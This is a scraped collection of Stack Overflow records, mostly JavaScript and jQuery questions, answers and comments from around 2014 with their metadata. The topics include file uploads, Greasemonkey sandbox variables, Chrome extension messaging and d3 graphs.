has body: Here is a simple to understand solution without external library. var newArr = [] for ( var i in names ) { var exists = findItemInArray(names[i].name,newArr); if(exists) { // Another item with same name was added to newArray var items = exists.items.push(names[i].id); // We add the id to existing item } else { // No other item with same name was added to newArray var newItem = {name:names[i].name, items:names[i].id}; newArr.push(newItem); } } And I made this function to return the item if it already exists in newArray function findItemInArray(name,array){ for(var i in array){ if(array[i].name === name){ return array[i]; } return null; }
type: Answer
score: 1
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/133424374
comment on: http://stackoverflow.com/a/37115083
score: 3
type: AnswerComment
type: Comment
has text: `popstate` event doesn't fire on Back button push.

http://stackoverflow.com/q/25760680
tagged with: php
answer count: 0
has title: blueimp Jquery File Upload - IE<10
has comment: http://stackoverflow.com/comment/41084393
type: Question
tagged with: javascript
score: 0
tagged with: jquery
tagged with: file-upload
has comment: http://stackoverflow.com/comment/51896106
tagged with: jquery-file-upload
type: UnansweredQuestion
has body: This plugin is working fine in every borwser but IE &lt; 10. I'am trying to bind Fileupload to every action in form (text change, file change, button push). In form i have textarea (wysiwyg), file input and send button. It should send text with file but it is sending only text. This is my code: $(function() { try{ var messageDiv; if($('#account-mail-send').length){ messageDiv = '#account-mail-send'; } else if($('#account-mail-received').length){ messageDiv = '#account-mail-received'; } $("#message_received #form-action").submit(function(event) { event.preventDefault(); }); $('#send_form_messages #button-0').click(function(){ if ($('#contenteditable-content').val() === '') { $('#message').removeClass(); $('#message').addClass('message_ajax_negative'); $('#message').html(empty_message_error); } else { $('#message').removeClass(); $('#message').addClass('hide'); } }); 'use strict'; // Change this to the location of your server-side upload handler: var url = 'index.php?action=user_panel_ajax&amp;mode=wyslij_wiadomosc_odebrane&amp;id=' + $('#id').val(); $('#attach').fileupload({ url: url, dataType: 'html', replaceFileInput: false, maxNumberOfFiles: 1, cache: false, beforeSend: function(event, files, index, xhr, handler, callBack) { $(messageDiv).css('opacity', 0.2); $(messageDiv+'-loader').css({ height: $('#account-mail-received').css('height'), width: $('#account-mail-received').css('width'), display: 'block' }); $('#button-0').attr('disabled', true); $('#attach').attr('disabled', true); console.log(files); }, done: function(e, data) { $('#button-0').attr('disabled', false); $('#attach').attr('disabled', false); $(messageDiv).css('opacity', 1); $(messageDiv+'-loader').css({ display: 'none' }); $(messageDiv).html(data.result); $('#attach').val(''); $('#list').html(''); $('#attach').fileupload('add', { fileInput: $(this) }); jqueryEditable[0].wysiwyg('focus'); jqueryEditable[0].wysiwyg('clear'); $('#count-chars-0').html($('#contenteditable-content').attr('maxlength')); },…

http://stackoverflow.com/q/25868691
answer count: 4
has comment: http://stackoverflow.com/comment/40480137
has comment: http://stackoverflow.com/comment/40480376
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/40480180
downvote count: 1
type: AnsweredQuestion
has title: JSFiddle to HTML
has body: I'm a novice in javascript and jquery. I have a code for bars to slide and which works fine on jsfiddle; however, when I try to run the as an HTML file, it does not work. I do not know what I'm missing out here or what needs to be done to make this code work. Kindly let me know what library files I will have to include in the code for the bars to slide in HTML. The link for my code on jsfiddle is: http://jsfiddle.net/sgx9L8sx/ Any help will be appreciated. Thanks in advance. `.box { width:40px; height:10px; background:blue; } .box1 { width:25px; height:10px; position:relative; top:40px; left:40px; background:black; } .result{ position:fixed; top:20px; } .result1{ position:fixed; top:70px; }
has answer: http://stackoverflow.com/a/25868761
linked to: http://stackoverflow.com/q/22696886
has answer: http://stackoverflow.com/a/68913137
type: Question
has answer: http://stackoverflow.com/a/25869009
tagged with: javascript
tagged with: jquery
favorite count: 0
possible better answer: http://stackoverflow.com/a/25868770
accepted answer: http://stackoverflow.com/a/25868761
has answer: http://stackoverflow.com/a/25868770
has comment: http://stackoverflow.com/comment/40480313
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40481442
tagged with: css

http://stackoverflow.com/comment/40280055
score: 0
comment on: http://stackoverflow.com/q/25758350
type: Comment
type: QuestionComment
has text: There is quite a lot of code there. What function are you having trouble calling?

http://stackoverflow.com/comment/40329046
type: Comment
type: QuestionComment
has text: Have you seen the logcat ?
score: 1
comment on: http://stackoverflow.com/q/25784258

http://stackoverflow.com/q/25860265
has comment: http://stackoverflow.com/comment/40465388
has answer: http://stackoverflow.com/a/25860329
has title: Generate profile previews with jQuery
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25860327
has comment: http://stackoverflow.com/comment/40465439
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40465405
has comment: http://stackoverflow.com/comment/40465455
accepted answer: http://stackoverflow.com/a/25860327
possible better answer: http://stackoverflow.com/a/25860329
has body: I have the following dilemma. I want to generate profile previews from different websites such as facebook, twitter, github, stackoverflow, google plus, etc to put on the profile of the website I'm developing. An image may be fine. I know I could probably use an iframe with the zoom hack to achieve a somewhat similar thing to what I want to do, however, I'm not sure if that is very optimal for mobile devices, as the website is responsive and loading other websites might be bad for data plans. Is there a way to achieve this? Here's an image so that you can understand what I'm trying to do: The ones with the name of the social network are the profiles I want to create/generate according to the URL specified. EDIT To clarify what is the preview I would like to generate, it is a picture of the website, a portion that is significant (includes cover photo or profile picture), not the entire website, as this may look ridiculous because of the tiny size.

http://stackoverflow.com/a/25772590
has body: see the css below: CSS .caption { position: relative; top: 0; right: 0; color:#fff; background: #000; opacity: 0.7; height: 100% width: 300px; display:block; text-align:right; }
answers question: http://stackoverflow.com/q/25772120
score: 0
type: Answer

http://stackoverflow.com/comment/40354073
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25799134
has text: `video.get(0).currentTime = 0` - not 100% sure about get(0) - may be jquery syntax there. I forget

http://stackoverflow.com/a/25785794
has comment: http://stackoverflow.com/comment/43928449
upvote count: 34
accepted answer of: http://stackoverflow.com/q/25778469
score: 34
has body: When you set a @grant value other than none, Greasemonkey activates its sandbox and Greasemonkey 2.0 radically changed unsafeWindow handling. Now, in order to create or overwrite variables in the target-page scope, you must correctly chose from a menu of techniques. EG: To Read: A simple variable: Target page sets: var foo = "bar"; GM script can read: unsafeWindow.foo //-- "bar" A simple object: Target page sets: var obj = {A: 1}; GM script can read: unsafeWindow.obj //-- Object { A: 1 } A complex object: This is not always possible. To Call: A simple function: Target page sets: function func () {console.log ('Hi');} GM script can call: unsafeWindow.func() //-- "Hi" A complex function: This is not always possible. To Write/Set: A simple variable: unsafeWindow.foo = "Apple"; A simple object: var gmObject = {X: "123"}; unsafeWindow.obj = cloneInto (gmObject, unsafeWindow); A simple function: function gmFunc () { console.log ("Lorem ipsum"); //-- Can use GM_ functions in here! :) } unsafeWindow.func = exportFunction (gmFunc, unsafeWindow); Consider this HTML: Say "Hello". And this javascript: var simpleGlobalVar = "A simple, global var in the page scope."; var globalObject = {Letter: "A", Number: 2}; function simpleFunction () { console.log ("The target page's simpleFunction was called."); } var sayHello = function() { console.log ('Hello.'); } document.getElementById ('helloBtn').addEventListener ('click', function () { sayHello (); } ); which you can see live at this jsFiddle page. If you install and run this Greasemonkey script against that page: // ==UserScript== // @name _Demonstrate accessing target-page variables with @grant values set // @include http://fiddle.jshell.net/sepwL7n6/*/show/ // @require http://ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js // @grant GM_addStyle // ==/UserScript== console.log ("*** Greasemonkey script start."); $("body").append (' Added by Greasemonkey: '); $("#gmArea > p:first").append (' Access select target-page variabl…
has comment: http://stackoverflow.com/comment/43928266
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25778469

http://stackoverflow.com/comment/40431755
type: QuestionComment
has text: can you send me an example?
comment on: http://stackoverflow.com/q/25841460
score: 0
type: Comment

http://stackoverflow.com/a/42185974
has body: Old post, but why not use the filter function? // If you find the index of an existing uid, save its index then delete it // --- after the filter add the new object. function addOrReplace( argh, obj ) { var index = -1; argh.filter((el, pos) =&gt; { if( el.uid == obj.uid ) delete argh[index = pos]; return true; }); // put in place, or append to list if( index == -1 ) argh.push(obj); else argh[index] = obj; } Here is a jsfiddle showing how it works.
downvote count: 1
upvote count: 4
answers question: http://stackoverflow.com/q/25764719
type: Answer
score: 3

http://stackoverflow.com/comment/40334865
comment on: http://stackoverflow.com/q/25789177
score: 0
type: Comment
has text: yes i hav submit submit button
type: QuestionComment

http://stackoverflow.com/comment/40390804
has text: @Derek 朕會功夫 thanks for replaying but problem solved, :)
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25819040
type: Comment

http://stackoverflow.com/q/25857786
downvote count: 0
tagged with: javascript
has body: In below code the axes the outer points are being truncated : label,x,y,r l1,100,30,50 l2,5,5,100 l3,50,50,20 fiddle : http://jsfiddle.net/zzz8svuq/6/ How can I amend axes so that circle points appear entirely within the graph ? I've tried amending the width of the graph but this just updates the x axis points :
answer count: 1
has answer: http://stackoverflow.com/a/25858175
favorite count: 0
tagged with: d3.js
upvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25858175
has title: Amend d3 graph to include all points
score: 1
type: Question

http://stackoverflow.com/q/25785180
type: Question
tagged with: javascript
has body: I'm trying to realise something I thought would be easy. When an user focus on one of my contenteditable span, I want to empty it if it contains a default text. When he loses focus, if he didn't write anything, I want to restore the default text. Here's my code : content.focus(function() { if ($(this).html() === "Text"){ $(this).html(""); //not working //$(this).empty(); //not working } console.log($(this)[0]); }); content.blur(function() { if ($(this).html() === ""){ $(this).html("Text"); } }); It's working well when the focus is obtained by pressing tab. Nevertheless, when the user click on the div, it's not working. It is emptying the span, but if he didn't clicked before the first letter, or after the last letter, he can't write anything. Here's a demo.
has answer: http://stackoverflow.com/a/25785331
answer count: 2
possible better answer: http://stackoverflow.com/a/25789118
has comment: http://stackoverflow.com/comment/40334733
has answer: http://stackoverflow.com/a/25789118
downvote count: 0
score: 1
tagged with: jquery
favorite count: 0
linked to: http://stackoverflow.com/q/1910794
tagged with: http://stackoverflow.com/tag/html
has title: empty contenteditable span on focus
accepted answer: http://stackoverflow.com/a/25785331
type: AnsweredQuestion
upvote count: 1

http://stackoverflow.com/a/25854201
has comment: http://stackoverflow.com/comment/40636368
type: Answer
answers question: http://stackoverflow.com/q/25838472
has body: You can use the Range HTTP header via XMLHttpRequest to get only a portion of the file: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html For example: xhr.setRequestHeader ('Range', 'bytes=0-' + (fragment_size - 1)) xhr.setRequestHeader ('Content-Length', fragment_size) // This part isn't absolutely required on most (all?) browsers.
score: 3
has comment: http://stackoverflow.com/comment/40875143
upvote count: 3
has comment: http://stackoverflow.com/comment/40638834
downvote count: 0

http://stackoverflow.com/a/25840895
has comment: http://stackoverflow.com/comment/40430258
answers question: http://stackoverflow.com/q/25840542
score: 0
has body: try $editor -&gt;process($_GET) -&gt;json(); is missing the values in "where"
type: Answer

http://stackoverflow.com/a/25873047
downvote count: 0
has body: Maybe you just need to recalculate your normals. Try : geometry.computeFaceNormals(); geometry.computeVertexNormals(); star = new THREE.Mesh( geometry, starMaterial );
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/40491240
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25871225
answers question: http://stackoverflow.com/q/25871225
type: AcceptedAnswer

http://stackoverflow.com/comment/40238591
comment on: http://stackoverflow.com/q/25735616
type: Comment
type: QuestionComment
has text: *typeof* is an operator, not a function, there is no need to enclose the expression in brackets.
score: 0

http://stackoverflow.com/a/25785133
answers question: http://stackoverflow.com/q/25784817
has body: Nothing really wrong with the code except that the broadcast is happening before the child controller has a chance to instantiate. use a timeout as per http://jsfiddle.net/hadx9zys/ setTimeout(function() { $scope.$broadcast(... }, 1000);
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40328277
score: 1
downvote count: 0

http://stackoverflow.com/comment/40434251
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25843054
has text: Why are you using `alert(count);` outside `.done()`? Note `get` is __async__ call

http://stackoverflow.com/comment/40378624
comment on: http://stackoverflow.com/a/25811799
type: AnswerComment
score: 0
type: Comment
has text: You'd have to update your code to what you currently have, I'm not really able to see what you mean.

http://stackoverflow.com/q/25724145
type: AnsweredQuestion
has body: I have some access to socks5 server (host, port, username and password). I need to be authorized and then make several requests to different servers by TCP via this socks5 proxy. How I can make it with node.js? I found library socks-client and it is ok, but I have to be authorized for each request to remote server (by using method 'connect'). How can I solve my problem?
type: Question
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25724272
score: 0
tagged with: socks
tagged with: node.js
has answer: http://stackoverflow.com/a/25724272
has title: Single socks5-authorization and making many requests using node.js

http://stackoverflow.com/comment/40269771
type: Comment
score: 0
type: QuestionComment
has text: On your page you don't have the click handlers in a $(document).ready()
comment on: http://stackoverflow.com/q/25753024

http://stackoverflow.com/q/25807632
has title: Append text length in jquery
has answer: http://stackoverflow.com/a/25807680
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25807714
has answer: http://stackoverflow.com/a/25807671
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25807680
possible better answer: http://stackoverflow.com/a/25807660
downvote count: 0
has answer: http://stackoverflow.com/a/25807660
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40368510
answer count: 4
has body: I'm trying to append the length of the value of a text field to a label, it actually does append, but for each value it appends a new length(not replacing the old length). click
type: AnsweredQuestion

http://stackoverflow.com/q/25729734
tagged with: javascript
score: 0
accepted answer: http://stackoverflow.com/a/25730085
possible better answer: http://stackoverflow.com/a/51086071
has answer: http://stackoverflow.com/a/51086071
tagged with: php
type: AnsweredQuestion
has body: I have created a table as such in file1.php: <?php echo $string1; ?> <?php echo $string2; ?> <?php echo $string3; ?> <?php echo $string4; ?> <?php echo $string5; ?> <?php if(file_exists($filesDir)) { foreach (new DirectoryIterator($filesDir) as $file) { if((htmlentities($file) !== ".") && (htmlentities($file) !== "..")) { /* get the file name, creation date and size */ $filename = htmlentities($file); $filecdate = date("d-m-Y H:i:s", filectime($filesDir.$file)); $filesize = filesize($filesDir.$file) /(pow(1024, 2)); ?> <?php echo $filename; ?> <?php echo $filecdate; ?> <?php echo number_format($filesize, 2, '.', '\'')." MB"; ?> <?php echo " "; ?> <?php echo " "; ?> <?php } } } ?> And I have written a Javascript function in another js file: function downloadFile(filename) { $("#activity").html(" "); window.location.href = "file3.php?filename=" + filename; } Finally, in a PHP file called file3.php I use the filename value obtained with the downloadFile function, as so: if(isset($_GET["filename"])) { $filename = $_GET["filename"]; if(file_exists($filesFolder.$filename)) { set_time_limit(0); ob_start(); //header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); //header('Content-Description: File Transfer'); header('Content-Disposition: attachment; filename='.basename($filename)); //header('Content-Transfer-Encoding: binary'); header('Expires: 5'); header('Cache-Control: must-revalidate'); //header('Pragma: public'); header('Content-Length: ' . filesize($filesFolder.$filename)); readfile($filesFolder.$filename); ob_end_flush(); exit; } But when I click the button from file1.php the Javascript function is not executed. Could you please help to understand where I am wrong?
has answer: http://stackoverflow.com/a/25730085
type: Question
has title: HTML table and inner button calling a Javascript function
has comment: http://stackoverflow.com/comment/40227429
tagged with: html-table
has comment: http://stackoverflow.com/comment/40226227
answer count: 2
has comment: http://stackoverflow.com/comment/40225968

http://stackoverflow.com/q/25782503
type: UnansweredQuestion
has title: How to change effects in Cycle 2?
tagged with: jquery-cycle2
type: Question
tagged with: setattribute
has comment: http://stackoverflow.com/comment/40323171
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40329109
has body: I'm using cycle2 plugin for my website to change images in background. I need to change effect from tileBlind to scrollVert by clicking on button. This is what i created, but it's not working at all. click js: function fun1(){ var slide = document.getElementById('sli'); var slide_data = slide.getAttribute('data-cycle-fx'); slide.setAttribute("data-cycle-fx","scrollVert"); } I'm relatively new in programming, so i don't know how to fix it.
answer count: 0

http://stackoverflow.com/comment/40348017
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25796098
has text: He doesn't control the domain within the iframe.

http://stackoverflow.com/comment/40216871
comment on: http://stackoverflow.com/a/25724819
type: AnswerComment
has text: This won't work in older browsers. Since OP is already using jQuery, consider [jQuery's `map`](http://api.jquery.com/jquery.map/) to support < IE 9: `$.map(myOriginalArray, function(item) { ....... })`
score: 0
type: Comment

http://stackoverflow.com/q/25731947
has comment: http://stackoverflow.com/comment/40231026
tagged with: javascript
has title: Scrollable div jumps to the top after it gets largely populated
tagged with: jquery
has comment: http://stackoverflow.com/comment/40230774
has comment: http://stackoverflow.com/comment/40231017
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40231073
tagged with: http://stackoverflow.com/tag/html
has body: A bit of info about the problem: I am using Internet Explorer 7/8 (This cannot change) The website is dynamically populated and gets very large, it is essentially a book with a table of contents and buttons that expand/collapse chapters. There is no issue with expanding/collapsing chapters at first until there is a fairly one very large chapter. The entire book is stored in a scrollable div. When the problem occurs, anything above the large chapter work completely fine, as well as the chapter in question. The bug starts happening on chapters under the large one. When you expand/collapse and the chapter location is in the bottom half of the div it will work like normal. But if the chapter location is in the top half of the div it bugs out (Based on when you are currently scrolled when you click) that it will do the expand/collapse but will then jump to the very top of the table of contents (it sets the scrollbar to the top). I don't have any logic for it to scroll to the top when a chapter gets expanded/collapsed I only have logic to change an icon and an invisible div status. Things I've tried: Setting a delay after the chapter gets expanded/collapsed and then scrollTo the location of that chapter. - Does not work, the scrolling to the top happens after anyway. Changing how I do the expand/collapse - Does not work, same error. Checked/changed a little bit of the dynamically added content - Does not work, everything is valid html and should not be the issue. Prayed - Does not work. Here is the code that expands/collapses the chapters: function() { $id = $(this).parent().prop("id"); $id = parseInt($id.replace("_other", "")); document.getElementById($id + "_arrow").innerHTML = "&lt;span style = 'display:inline;float:left;' class ='ui-icon ui-icon-triangle-1-s ui-state-default'&gt;&lt;/span&gt;"; if ($("#" + $id + "_content").css("display") == "none") { $("#" + $id + "_content").css("display", "block"); } else { $("#" + $id + "_content").css("display", "none"); } });
tagged with: css
has comment: http://stackoverflow.com/comment/40230991
answer count: 0
score: 0
type: Question

http://stackoverflow.com/q/25741448
upvote count: 3
type: Question
has title: textarea in backbone and underscore html decoding the content
tagged with: javascript
has answer: http://stackoverflow.com/a/25741739
answer count: 2
possible better answer: http://stackoverflow.com/a/25741739
downvote count: 0
has answer: http://stackoverflow.com/a/25741752
favorite count: 0
tagged with: backbone.js
accepted answer: http://stackoverflow.com/a/25741752
has body: I am using backbone.js with underscore.js In my template I have the following textarea &lt;textarea id="MyHtml" rows="10" cols="75" name="MyHtml"&gt;&lt;%= MyHtml %&gt;&lt;/textarea&gt; Now the issue is if my model's MyHtml has any ascii character it html decodes it and renders it. To know exactly what i mean check this fiddle. How do I use the above template and still prevent this ?
type: AnsweredQuestion
score: 3
tagged with: underscore.js

http://stackoverflow.com/comment/40270691
type: Comment
has text: I tried that, but now, it seems like even less of the code is working. The variable `num`, the number from the random number generator, appears to read out undefined, as well as `costBox` and `costShipping` and `costTotal`.
comment on: http://stackoverflow.com/a/25753334
score: 0
type: AnswerComment

http://stackoverflow.com/q/25762787
type: AnsweredQuestion
has title: Simple calc in javascript not woriking as it should
has comment: http://stackoverflow.com/comment/40286969
tagged with: javascript
type: Question
accepted answer: http://stackoverflow.com/a/25763002
has comment: http://stackoverflow.com/comment/40286977
has body: I made some simple functions in javaScript. But when I print the result I get the correct results for multiplication and division but not addition and subtraction. Why is that, the functions are almost identitcal. 1st Number: 2nd Number: The Result is :
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/25762874
has answer: http://stackoverflow.com/a/25762874
has answer: http://stackoverflow.com/a/25763002

http://stackoverflow.com/q/25760919
has title: Does not work jQuery defender in IE9
type: Question
has body: Does not work jQuery defender in IE9. What is wrong? &lt;script src="http://code.jquery.com/jquery-1.9.0.js"&gt;&lt;/script&gt; var promise_url_1 = $.get('http://test.loc/1.html'); var promise_url_2 = $.get('http://test.loc/2.html'); $.when(promise_url_1, promise_url_2).done(function(promis1, promis2) { console.log('yes'); }).fail(function(){ console.log('error'); }); };
has comment: http://stackoverflow.com/comment/40284008
has comment: http://stackoverflow.com/comment/40283843
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25766321
tagged with: promise
has comment: http://stackoverflow.com/comment/40293085
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40284528

http://stackoverflow.com/q/25760536
tagged with: ajax
score: 0
has comment: http://stackoverflow.com/comment/40398225
tagged with: multiple-instances
has comment: http://stackoverflow.com/comment/40400785
tagged with: file-upload
has answer: http://stackoverflow.com/a/25827806
has body: I developed an ajax file uploader and it works great if the one instance is on the page. I'm trying to convert it to allow multiple instances, and it almost works, EXCEPT, when I'm uploading multiple files in one form, it uploads the first file fine, but then for all subsequent files, for some reason it points forward to the next file reader from the second form instance. If I upload using the last (second) instance of the upload form, multiple files upload fine. But if I try uploading with the first instance, it will upload the first file, but all subsequent files get sent to the empty file input from the second instance. I can't understand why. I'm using unique id names throughout the upload form and referencing that unique id throughout the javascript functions. I'll try to include all the necessary bits of code below. The forms are generated by PHP. The php var $uid is a randomly generated unique id that I use throughout. First, the initialization of the upload function is output to the page in a '; Obviously all those variables for my settings are defined earlier. With multiple instances on the page, it reads the settings correctly for each different instance. They are successfully showing up with different styles, icon colors, file type permissions, max file size settings, etc. All that works with multiple instances. Now the form: ' '. ' '. ' '. ' '. ''. ' '. ''.$addfiles.''. ''.$uploadlabel.''. ''. ' '. ' '. ' '. ''. ' '; So that's a pared down version of it. The instance in the script tag, containing the settings, and the html form, are output by a shortcode. So multiple shortcodes on the page will output multiple instances of the MyUp function. Here's what I hope are all the pertinent bits of the javascript functions (it's long, sorry, but I removed a ton of stuff): jQuery(document).ready(function($) { // throughout, the var fuid will refer // to the php var $uid from the html form and instance settings function myupRemove(id, filename, fuid) { // handle fi…
has comment: http://stackoverflow.com/comment/40398144
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25823815
tagged with: instances
type: Question
accepted answer: http://stackoverflow.com/a/25827806
answer count: 2
possible better answer: http://stackoverflow.com/a/25823815
tagged with: javascript
has title: Multiple Instances of Ajax Uploader on the Same Page
has comment: http://stackoverflow.com/comment/40398296

http://stackoverflow.com/q/25737814
type: Question
tagged with: c#
answer count: 2
has answer: http://stackoverflow.com/a/25738135
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40241967
score: 0
has body: I have a Select2 list and added multiple items to the table.But i wanted to check if items already exists in the table or not first and IF not only then add new item But below my code doesn't work. In this code everytime it shows Not Found & add duplicate rows HTML Part Code $("#select-product").change(function () { debugger; var $option = $('#select-product option'); if ($("#select-product option[value='ProductCode']").length > 0) { alert("Found"); } else { alert("Not Found"); } $option.each(function () { if ($(this).is(':selected')) { debugger; var itm = $(this).is(':selected'); var temp = $(this).attr('ProductCode'); var row = ' '; row += ' ' + $(this).attr('ProductCode') + ' '; row += ' ' + $(this).text().replace(temp, " ") + ' '; row += ' ' + $(this).attr('Unit_UnitId') + ' '; row += ' ' + $(this).attr('RetailPrice') + ' '; row += ' ' + ' ' + ' '; row += ' ' + ' ' + ' '; row += ' 0 '; row += ' '; row += ' '; table.append(row); } }); $('#select-product').select2('data', null); }); Multiple Products Code function CallMultipleProducts() { $.ajax({ type: "POST", url: '/Sales/GetMultipleProducts', contentType: "application/; charset=utf-8", dataType: "json", async: false, success: function (msg) { debugger; if (msg._productlist.length > 0) { debugger; $.each(msg._productlist, function (index, item) { debugger; $('#select-product').append($(" ") .attr("Value", item.ProductId) .attr("RetailPrice", item.RetailPrice) .attr("ProductCode", item.ProductCode) .text((item.ProductCode) + " " + (item.ProductName)) ); }); } } // error: AjaxError }) }
tagged with: asp.net
has answer: http://stackoverflow.com/a/25737953
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/11674647
has title: Check Items Already exista in the Table using Jquery
has comment: http://stackoverflow.com/comment/40242217

http://stackoverflow.com/comment/40208594
score: 0
type: Comment
type: QuestionComment
has text: Not sure how else to print an across domain iframe. Google might help.
comment on: http://stackoverflow.com/q/25717188

http://stackoverflow.com/a/25811165
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25810376
type: Answer
has body: . is not a valid character in a variable name, so you can't do var com.apress = ... ; Instead of using a variable declaration statement with multiple declarations, you should have a single declaration and simple assignments: var com = com || {}; com.apress = com.apress || {}; com.apress.view = com.apress.view || {};
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25810376

http://stackoverflow.com/q/25831521
downvote count: 0
type: Question
score: 1
tagged with: webgl
upvote count: 1
tagged with: javascript
tagged with: cocos2d-html5
favorite count: 0
type: UnansweredQuestion
tagged with: single-page-application
tagged with: cocos2d-x
has title: Cocos2d-x HTML5 with Angular JS in Single page application
has body: I've got a Cocos2d-x html5 game developed, and it works fine. However I'm in the process of porting my front-end to SPA using angularjs. Therefore, there are no redirects, as pages are loaded dynamically. There is a problem with loading engine sources, as once it is loaded, and user goes to game for the second time, it cannot be launched again. It results in error: Cannot redefine property: POINT_ZERO To avoid this, when loading game second time I ommit engine sources and load only game related resources. But this line, initializing game: cc.setup(this.config['tag']); results in error: WebGL: INVALID_OPERATION: uniformMatrix4fv: location is not from current program Can I somehow remove all cocos scripts to be able to load it again? Or perform a silent reload without redirection, so that the whole page is not refreshed?
answer count: 0

http://stackoverflow.com/comment/40231325
has text: In that case, bind the event to the form then make the handler do something like `var cost = 0; $(this).find('.cost').each(function(){ cost += parseFloat( this.val ); });` - this should recalculate the entire form you've just changed.
score: 0
comment on: http://stackoverflow.com/a/25732374
type: Comment
type: AnswerComment

http://stackoverflow.com/q/25804935
has title: jQuery Editable DataTable get value from Struts Action
tagged with: datatable
has comment: http://stackoverflow.com/comment/40364098
answer count: 0
score: 1
tagged with: java
upvote count: 1
type: Question
has body: I am using jQuery editable datatable to show and edit data (in cell editing). On server side I am using Struts 2. On server side I am checking few conditions before updating cell value. If some conditions fails then I have to put corresponding message in response object and on client side take action according to message value or show proper message to user. My jsp page code : .makeEditable({ sUpdateURL: "editEntry", "aoColumns": [ null, null, { indicator: 'Saving...', tooltip: 'Click to edit '+$("#editLabel").val()+' name', type: 'textarea', submit:'Save changes', fnOnCellUpdated: function(sStatus, sValue, settings){ alert("Entry Updated"); }, } ], }); My Struts Action Class: public class EditMinistryAction extends ActionSupport{ private String value; private String message; @Override public String execute(){ //few conditions checking return SUCCESS; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } public String getMessage() { return message; } } I have checked response object through browser plugins, It is having my desired messages, but my problem is where to write the code to parse response object? Which function of editable datatable I have to override? Thanks in advance...
has comment: http://stackoverflow.com/comment/40364289
tagged with: javascript
tagged with: jquery
tagged with: struts2
has comment: http://stackoverflow.com/comment/40364522
downvote count: 0
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/25749690
has comment: http://stackoverflow.com/comment/40263505
upvote count: 1
downvote count: 0
type: Answer
score: 1
has body: I guess this line has an error (extra dot): $.scope.title = "WWAAAAAAA" It should be: $scope.title = "WWAAAAAAA" The other thing is that you are doing some strange hybrid of a 'classic' RoR application and AngularJS application. In 'classic' RoR application, you are generating dynamic html content using erb, or some other templating engine. With AngularJS you are serving static html pages, and the 'dynamization' takes place on client side (in clients browser). I would suggest splitting your application in two parts, the backend based on Ruby on Rails, which acts as an API, and the frontend, a single-page-application based on AngularJS and using tools typical for frontend application, such as Yeoman (http://yeoman.io/)
answers question: http://stackoverflow.com/q/25747325

http://stackoverflow.com/comment/40203758
comment on: http://stackoverflow.com/a/25717722
type: AnswerComment
score: 0
type: Comment
has text: Yours is clearly working in the demo.But, how do I implement the script? As I said, I'm a complete noob when it comes to this :P

http://stackoverflow.com/a/25759529
has comment: http://stackoverflow.com/comment/40304428
has comment: http://stackoverflow.com/comment/140037700
has comment: http://stackoverflow.com/comment/47583709
score: 18
upvote count: 18
has body: Yes, contacting a content script from a browser or page action button is done using messages sent back and forth between the background script and the content script(s) First step: Tell the background script what to do on browserAction/pageAction button click chrome.browserAction.onClicked.addListener(function(tab) { ... }); Step 2: Inside the browserAction.onClicked event listener you can then send a message to the content script (in fact to any code listening!): chrome.tabs.sendMessage(tab.id, {&lt;YOURMESSAGEPAYLOAD&gt;}); Step 3: Inside the content script, you add a listener for incoming messages chrome.runtime.onMessage.addListener(function(request, sender, callback) { // request contains the YOURMESSAGEPAYLOAD sent above as a Javascript object literal }); You can also go the other way round and send messages from the content script to the background script by using the following inside the content script chrome.runtime.sendMessage({&lt;YOURMESSAGEPAYLOAD&gt;}); and then use the onMessage listener inside the background script the same way as mentioned above.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/111048192
answers question: http://stackoverflow.com/q/25756807
accepted answer of: http://stackoverflow.com/q/25756807
type: Answer
has comment: http://stackoverflow.com/comment/40321964
has comment: http://stackoverflow.com/comment/59603831

http://stackoverflow.com/q/25729387
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25738539
favorite count: 0
possible better answer: http://stackoverflow.com/a/25729569
accepted answer: http://stackoverflow.com/a/25730400
